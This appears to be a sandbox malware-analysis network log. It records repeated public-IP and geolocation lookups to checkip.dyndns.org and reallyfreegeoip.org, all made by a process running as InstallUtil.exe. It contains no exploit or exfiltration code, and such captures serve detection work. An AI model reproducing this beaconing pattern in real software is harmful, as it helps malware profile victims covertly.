Sep 26, 2024 12:12:49.616223097 CEST	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Sep 26, 2024 12:12:50.116205931 CEST	320	IN	HTTP/1.1 200 OK Date: Thu, 26 Sep 2024 10:12:50 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: a2b99021048a59f09914cccd28bc835f Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.4	49784	193.122.130.0	80	1260	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Sep 26, 2024 12:12:51.007996082 CEST	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Sep 26, 2024 12:12:51.469219923 CEST	320	IN	HTTP/1.1 200 OK Date: Thu, 26 Sep 2024 10:12:51 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 9655da6f9df03a5c4d6675c324db21fa Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49734	188.114.96.3	443	480	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-26 10:12:12 UTC	84	OUT	GET /xml/8.46.123.33 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-09-26 10:12:12 UTC	678	IN	HTTP/1.1 200 OK Date: Thu, 26 Sep 2024 10:12:12 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 10364 Last-Modified: Thu, 26 Sep 2024 07:19:28 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Q6q7CBap%2FhYQwesIVFBP2BQy9Os848zjdIoFNrX5BP2QRt4vOBWlKDGToAhyzt5ub7VGyArNp6wrKXZo%2F55w%2FRljRh0F9pr1HuI5M0cMhYAl5Or%2Ftg7VQ3ptIVgudnwwvXVabwNC"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c92796a4b1e43e3-EWR
2024-09-26 10:12:12 UTC	340	IN	Data Raw: 31 34 64 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e 0a 09 3c 4c 61 74 69 74 75 64 65 3e 33 37 2e 37 35 Data Ascii: 14d<Response><IP>8.46.123.33</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode></RegionCode><RegionName></RegionName><City></City><ZipCode></ZipCode><TimeZone>America/Chicago</TimeZone><Latitude>37.75
2024-09-26 10:12:12 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49735	188.114.96.3	443	480	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-26 10:12:13 UTC	60	OUT	GET /xml/8.46.123.33 HTTP/1.1 Host: reallyfreegeoip.org
2024-09-26 10:12:13 UTC	680	IN	HTTP/1.1 200 OK Date: Thu, 26 Sep 2024 10:12:13 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 10365 Last-Modified: Thu, 26 Sep 2024 07:19:28 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=1d9GWkrPOocl9BuZ6FX%2FAgcRw2Fv2GergWfDveK%2F3TWprxRbrAVFJqzUMuisyoaMC5JvsNMzJ%2FziOhqvOGh92JNO6GyNs1at0pBvoIbPiR%2FNIjpo7%2BavkuLLFf3beHVtIS6JfylQ"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c92796edab80f36-EWR
2024-09-26 10:12:13 UTC	340	IN	Data Raw: 31 34 64 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e 0a 09 3c 4c 61 74 69 74 75 64 65 3e 33 37 2e 37 35 Data Ascii: 14d<Response><IP>8.46.123.33</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode></RegionCode><RegionName></RegionName><City></City><ZipCode></ZipCode><TimeZone>America/Chicago</TimeZone><Latitude>37.75
2024-09-26 10:12:13 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49737	188.114.96.3	443	480	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-26 10:12:14 UTC	60	OUT	GET /xml/8.46.123.33 HTTP/1.1 Host: reallyfreegeoip.org
2024-09-26 10:12:14 UTC	684	IN	HTTP/1.1 200 OK Date: Thu, 26 Sep 2024 10:12:14 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 10366 Last-Modified: Thu, 26 Sep 2024 07:19:28 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=5tv2bJvnFvszyFwK5V7kc2n79jHo2TO1317kbDDSk7X0%2BlZ5%2F9mY51%2BzwCSk%2Bu9wRwPvwfDkQ%2FOeRGz%2FX9UjTUOhNA6Ph5gTX6no73HvcHbDm8%2Bw2SwJshK18ROjysHRbxXTGO2G"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c927978cde1430a-EWR
2024-09-26 10:12:14 UTC	340	IN	Data Raw: 31 34 64 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e 0a 09 3c 4c 61 74 69 74 75 64 65 3e 33 37 2e 37 35 Data Ascii: 14d<Response><IP>8.46.123.33</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode></RegionCode><RegionName></RegionName><City></City><ZipCode></ZipCode><TimeZone>America/Chicago</TimeZone><Latitude>37.75
2024-09-26 10:12:14 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49742	188.114.96.3	443	480	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-26 10:12:16 UTC	60	OUT	GET /xml/8.46.123.33 HTTP/1.1 Host: reallyfreegeoip.org
2024-09-26 10:12:16 UTC	678	IN	HTTP/1.1 200 OK Date: Thu, 26 Sep 2024 10:12:16 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 10368 Last-Modified: Thu, 26 Sep 2024 07:19:28 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=yCKKANtBFsN%2BfZ%2F5Rt82YFZI2DSHo6I09qYW%2BTjYNLrSuG6hCcsWAmxmk26etFOpWWxhiog3m9U%2Fbl34xqJjL2bEvCA1vxT77RrAvVCTDcBNdvpGl9M3Ns2VKemCCMN1KQWLETpB"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c92798349590f60-EWR
2024-09-26 10:12:16 UTC	340	IN	Data Raw: 31 34 64 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e 0a 09 3c 4c 61 74 69 74 75 64 65 3e 33 37 2e 37 35 Data Ascii: 14d<Response><IP>8.46.123.33</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode></RegionCode><RegionName></RegionName><City></City><ZipCode></ZipCode><TimeZone>America/Chicago</TimeZone><Latitude>37.75
2024-09-26 10:12:16 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49746	188.114.96.3	443	480	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-26 10:12:17 UTC	84	OUT	GET /xml/8.46.123.33 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-09-26 10:12:17 UTC	678	IN	HTTP/1.1 200 OK Date: Thu, 26 Sep 2024 10:12:17 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 10369 Last-Modified: Thu, 26 Sep 2024 07:19:28 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=3vDFz9INwa2TI50JO%2BWhgZ9hGjjcwSYm01XtMakEZRie3iHNLByFE0O6lihdQ6UeYwrM5a%2BXhaS4IseoWUC%2BzcVwC8kLP0ZIuMsf0dsXPTzjHIXo7kJuwHNbEOPVdbwPCLQ%2B0xqK"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c92798b4cfd8c4b-EWR
2024-09-26 10:12:17 UTC	340	IN	Data Raw: 31 34 64 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e 0a 09 3c 4c 61 74 69 74 75 64 65 3e 33 37 2e 37 35 Data Ascii: 14d<Response><IP>8.46.123.33</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode></RegionCode><RegionName></RegionName><City></City><ZipCode></ZipCode><TimeZone>America/Chicago</TimeZone><Latitude>37.75
2024-09-26 10:12:17 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49749	188.114.96.3	443	480	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-26 10:12:18 UTC	84	OUT	GET /xml/8.46.123.33 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-09-26 10:12:18 UTC	672	IN	HTTP/1.1 200 OK Date: Thu, 26 Sep 2024 10:12:18 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 10370 Last-Modified: Thu, 26 Sep 2024 07:19:28 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=WdkPDlbrAHREX%2FWxTiFPPswR9HHGs9RDq59khttvAaMOmiiLS0Dw8E1NwI5JZd8VAkXZEEvOF0uGgqZLqtXRePufmOFPXnKt8FKKjFoaCCQ0OKIIEIAS2ZaW9HinC7X5lhsHPlu7"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c9279924f564232-EWR
2024-09-26 10:12:18 UTC	340	IN	Data Raw: 31 34 64 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e 0a 09 3c 4c 61 74 69 74 75 64 65 3e 33 37 2e 37 35 Data Ascii: 14d<Response><IP>8.46.123.33</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode></RegionCode><RegionName></RegionName><City></City><ZipCode></ZipCode><TimeZone>America/Chicago</TimeZone><Latitude>37.75
2024-09-26 10:12:18 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49751	188.114.96.3	443	480	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-26 10:12:20 UTC	60	OUT	GET /xml/8.46.123.33 HTTP/1.1 Host: reallyfreegeoip.org
2024-09-26 10:12:20 UTC	674	IN	HTTP/1.1 200 OK Date: Thu, 26 Sep 2024 10:12:20 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 10372 Last-Modified: Thu, 26 Sep 2024 07:19:28 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=BEpmTIPmR23p1LPToAUQvCACfvShJK1m7Nv8GEBu40xetoR56NwgS%2FHNIh2qPqwyFpKYyewhJNbY3MIbDbb3ga2J11gqr6JMb8cL01f5x%2FVZ0OrTxB4EkHzW4payZfOUIIXYCXTa"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c92799b390f425c-EWR
2024-09-26 10:12:20 UTC	340	IN	Data Raw: 31 34 64 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e 0a 09 3c 4c 61 74 69 74 75 64 65 3e 33 37 2e 37 35 Data Ascii: 14d<Response><IP>8.46.123.33</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode></RegionCode><RegionName></RegionName><City></City><ZipCode></ZipCode><TimeZone>America/Chicago</TimeZone><Latitude>37.75
2024-09-26 10:12:20 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49754	188.114.96.3	443	480	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-26 10:12:21 UTC	84	OUT	GET /xml/8.46.123.33 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-09-26 10:12:21 UTC	678	IN	HTTP/1.1 200 OK Date: Thu, 26 Sep 2024 10:12:21 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 10373 Last-Modified: Thu, 26 Sep 2024 07:19:28 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=MCYrYnWE4uEwN%2BTKDEyuqOOaFsYM8Ymx52qICVKCVDMoyUNUQ7tR4kgQgYdYbxaeobsiescUhXv8Vi%2FCU2FEHrbfm%2B5r%2FZiGdFj89r4KxFyBqLA99MFhibUixXhFVqhJLY8npAOU"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c9279a23d138c4b-EWR
2024-09-26 10:12:21 UTC	340	IN	Data Raw: 31 34 64 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e 0a 09 3c 4c 61 74 69 74 75 64 65 3e 33 37 2e 37 35 Data Ascii: 14d<Response><IP>8.46.123.33</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode></RegionCode><RegionName></RegionName><City></City><ZipCode></ZipCode><TimeZone>America/Chicago</TimeZone><Latitude>37.75
2024-09-26 10:12:21 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49757	188.114.96.3	443	3412	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-26 10:12:35 UTC	84	OUT	GET /xml/8.46.123.33 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-09-26 10:12:35 UTC	674	IN	HTTP/1.1 200 OK Date: Thu, 26 Sep 2024 10:12:35 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 10387 Last-Modified: Thu, 26 Sep 2024 07:19:28 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=QDb8f1YexTcPGAMhhLkOuQE2YCl5KcZxdTjIYiMaKDF5tFiAKHuiUxzP%2FnQlQYJ7yYkfl8XsrUAG%2FZTNSAFgrGzdF7m6VtSubjZKcoBSorswMPjaqaTKGvCnb06oLRZrpe4iUaou"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c9279fa2f3d43eb-EWR
2024-09-26 10:12:35 UTC	340	IN	Data Raw: 31 34 64 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e 0a 09 3c 4c 61 74 69 74 75 64 65 3e 33 37 2e 37 35 Data Ascii: 14d<Response><IP>8.46.123.33</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode></RegionCode><RegionName></RegionName><City></City><ZipCode></ZipCode><TimeZone>America/Chicago</TimeZone><Latitude>37.75
2024-09-26 10:12:35 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49758	188.114.96.3	443	3412	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-26 10:12:36 UTC	60	OUT	GET /xml/8.46.123.33 HTTP/1.1 Host: reallyfreegeoip.org
2024-09-26 10:12:36 UTC	680	IN	HTTP/1.1 200 OK Date: Thu, 26 Sep 2024 10:12:36 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 10388 Last-Modified: Thu, 26 Sep 2024 07:19:28 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=tc34%2FK83mFtG2hupZfermqAm5UPEMXhWH68jKb1r3NxK8Sjn8tZzWNsTEZMQ3ZhLbjMwNdJ3sqnuJb%2FMbDhusDAMtv%2B%2B0YNCvS%2Fz4HMWoEnWqHnfVWHVs9BeA01skI7GDEZDmsu2"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c9279fe8cd14343-EWR
